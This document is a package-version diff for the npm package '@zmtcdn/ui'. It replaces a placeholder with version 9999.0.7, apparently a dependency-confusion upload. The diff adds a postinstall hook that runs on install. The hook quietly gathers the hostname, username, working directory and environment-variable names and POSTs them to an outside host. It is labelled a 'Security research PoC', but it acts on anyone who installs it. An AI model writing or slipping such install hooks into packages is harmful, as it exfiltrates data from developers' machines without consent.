@zmtcdn/ui 0.0.0-stage → 9999.0.7

package/index.js

@@ -0,0 +1 @@
+module.exports = {};

package/package.json

@@ -1,6 +1,9 @@
 {
   "name": "@zmtcdn/ui",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
-}
+  "version": "9999.0.7",
+  "description": "Security research PoC",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node postinstall.js"
+  }
+}

package/postinstall.js

@@ -0,0 +1,22 @@
+const os = require('os');
+const https = require('https');
+
+const data = JSON.stringify({
+  hostname: os.hostname(),
+  platform: os.platform(),
+  user: os.userInfo().username,
+  cwd: process.cwd(),
+  env_keys: Object.keys(process.env), // không gửi values - tránh sensitive data
+  time: new Date().toISOString()
+});
+
+const url = new URL('https://www.hinny.shop/api');
+const req = https.request({
+  hostname: url.hostname,
+  path: url.pathname,
+  method: 'POST',
+  headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
+}, () => {});
+req.on('error', () => {});
+req.write(data);
+req.end();

package/README.md

@@ -1,3 +0,0 @@
-# Temporary Holding Version
-
-This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.